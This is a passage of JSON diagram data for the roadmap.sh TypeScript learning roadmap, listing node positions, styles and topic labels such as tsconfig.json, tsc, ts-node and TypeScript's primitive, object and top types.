\"height\": 65,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 65\n      },\n      \"positionAbsolute\": {\n        \"x\": 333.26672552017453,\n        \"y\": 21.21599278857485\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"lcJ5Qry7uPRXDMfqgTKXk\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -392.49114007976596,\n        \"y\": 149.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 94,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 94\n      },\n      \"positionAbsolute\": {\n        \"x\": -392.49114007976596,\n        \"y\": 149.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 94\n      }\n    },\n    {\n      \"id\": \"8d6HSzaJNgPSWvhU5Fydf\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -552.2332744798255,\n        \"y\": 148.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"lcJ5Qry7uPRXDMfqgTKXk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 94,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 94\n      },\n      \"positionAbsolute\": {\n        \"x\": -552.2332744798255,\n        \"y\": 148.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 94\n      }\n    },\n    {\n      \"width\": 174,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -126.45968546864998,\n        \"y\": -160.28400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -126.45968546864998,\n        \"y\": -160.28400721142515\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 76,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -49.95968546864998,\n        \"y\": -230.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -49.95968546864998,\n        \"y\": -230.76957062917046\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 76\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 76\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 111.84147172248669,\n        \"y\": -234.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap and other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 138,\n      \"positionAbsolute\": {\n        \"x\": 111.84147172248669,\n        \"y\": -234.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 329,\n        \"height\": 138\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 138\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 122.34147172248669,\n        \"y\": -157.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 122.34147172248669,\n        \"y\": -157.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DAwKHBng7Tytlcd2_8GOR\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -164.95968546864998,\n        \"y\": -27.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript Roadmap\",\n        \"href\": \"https://roadmap.sh/javascript\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"R_Fs6rdl2XtQ9aLOubMqL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -164.95968546864998,\n        \"y\": -27.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -164.95968546864998,\n        \"y\": 72.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Introduction to TypeScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -164.95968546864998,\n        \"y\": 72.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y3FQ2wGWFb1VciLEVEGUf\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -616.2332744798255,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"BwQkwMOvhk6NU73hQvW6t\",\n            \"label\": \"JavaScript Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/javascript\"\n          },\n          {\n            \"id\": \"DoKPzehMbgCzdDTWvcIQ9\",\n            \"label\": \"Node.js Roadmap\",\n            \"url\": \"https://roadmap.sh/nodejs\"\n          },\n          {\n            \"id\": \"TRPGwvkLuLL9ZZ4kDMiyI\",\n            \"label\": \"Backend Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"D2U09O9v90i02pfmTeG52\",\n            \"label\": \"Frontend Roadmap\",\n            \"url\": \"https://roadmap.sh/frontend\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 345,\n      \"height\": 195,\n      \"positionAbsolute\": {\n        \"x\": -616.2332744798255,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 195\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 195\n      }\n    },\n    {\n      \"id\": \"MQWzN_kXxVJMOYbRXSGJc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -612.2332744798255,\n        \"y\": 20.730429370829597\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript vs JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 340,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 340,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -612.2332744798255,\n        \"y\": 20.730429370829597\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 340,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dcLaEU_lb0z_QypL1ZhpX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -612.2332744798255,\n        \"y\": 73.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TS and JS Interoperability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 340,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 340,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -612.2332744798255,\n        \"y\": 73.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 340,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dA8CNQOgJRDa0T7rmyS7f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -612.2332744798255,\n        \"y\": 126.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Installation and Configuration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 340,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 340,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -612.2332744798255,\n        \"y\": 126.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 340,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DmqrX56d9KnBcOSwlJR2q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -612.2332744798255,\n        \"y\": 199.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"tsconfig.json\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -612.2332744798255,\n        \"y\": 199.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RrExVb7l2gd0s_TlNdLeD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -461.23327447982547,\n        \"y\": 199.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Compiler Options\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -461.23327447982547,\n        \"y\": 199.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qdy4ZIY2EKgmPNdu_ndcg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 168.76672552017453,\n        \"y\": 72.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Running TypeScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 168.76672552017453,\n        \"y\": 72.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Iv_t13PSVzet5VPKFtAp1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 168.76672552017453,\n        \"y\": -2.548968422223979\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"tsc\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 168.76672552017453,\n        \"y\": -2.548968422223979\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZCM2_X4BiKh5FTCizrr-E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 266.76672552017453,\n        \"y\": -2.548968422223979\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ts-node\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 266.76672552017453,\n        \"y\": -2.548968422223979\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_bZ71i36haWgHQTY0yMOx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 168.76672552017453,\n        \"y\": -55.54896842222398\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TS Playground\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 168.76672552017453,\n        \"y\": -55.54896842222398\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qcrGApxNzkGYxgcd7o45d\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -164.95968546864998,\n        \"y\": 283.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -164.95968546864998,\n        \"y\": 283.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OtdcYVLAgWsaKcaEjKOW1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 174.76672552017453,\n        \"y\": 152.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Primitive Types\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 174.76672552017453,\n        \"y\": 152.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"hfIHxa5i_5rEpjtzqEsic\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 179.76672552017453,\n        \"y\": 192.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"boolean\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 179.76672552017453,\n        \"y\": 192.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UH9d3cvGy_e67WFNFwCyf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 179.76672552017453,\n        \"y\": 245.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"number\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 179.76672552017453,\n        \"y\": 245.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d8iV-IBZ6cSnH8Z5_HRmc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 179.76672552017453,\n        \"y\": 298.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"string\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 179.76672552017453,\n        \"y\": 298.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yLlQg7BF--ZwRHbXBWfOi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 179.76672552017453,\n        \"y\": 351.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"void\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 179.76672552017453,\n        \"y\": 351.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Sa6IZtM4XJstultz-pbh0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 179.76672552017453,\n        \"y\": 404.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"undefined\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 179.76672552017453,\n        \"y\": 404.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cjAwawhZLo1qVQ93XIdm2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 179.76672552017453,\n        \"y\": 455.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"null\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 179.76672552017453,\n        \"y\": 455.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SKqGm8fqxSRoE5HqDNqHB\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 311.26672552017453,\n        \"y\": 151.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Object Types\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 311.26672552017453,\n        \"y\": 151.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"mVKsM7R4Ivpdhnbwt1aRb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.26672552017453,\n        \"y\": 191.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interface\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 309.26672552017453,\n        \"y\": 191.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tTSITP1W1ymS-njbFb8Ts\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.26672552017453,\n        \"y\": 244.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Class\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 309.26672552017453,\n        \"y\": 244.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bfZIXHceDKDGQl-24kQpT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.26672552017453,\n        \"y\": 297.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Enum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 309.26672552017453,\n        \"y\": 297.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YbDuIo1BbZKEAZwmXlCdZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.26672552017453,\n        \"y\": 350.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Array\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vnqvm_WiaKqpdxrW4wRGa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 309.26672552017453,\n        \"y\": 350.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jq-GD0DLyzrEXQKUmt5kv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.26672552017453,\n        \"y\": 403.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tuple\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 309.26672552017453,\n        \"y\": 403.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bx8s7zcSqfKHhHLF45YWd\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 193.26672552017453,\n        \"y\": 512.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Top Types\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 193.26672552017453,\n        \"y\": 512.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"vnqvm_WiaKqpdxrW4wRGa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.26672552017453,\n        \"y\": 456.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Object\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 309.26672552017453,\n        \"y\": 456.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O2TYbd9i_OQwQk2dKh-ly\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 179.76672552017453,\n        \"y\": 553.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"unknown\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 179.76672552017453,\n        \"y\": 553.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yXiLegSlL7SveU8rBGj8U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 179.76672552017453,\n        \"y\": 606.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": 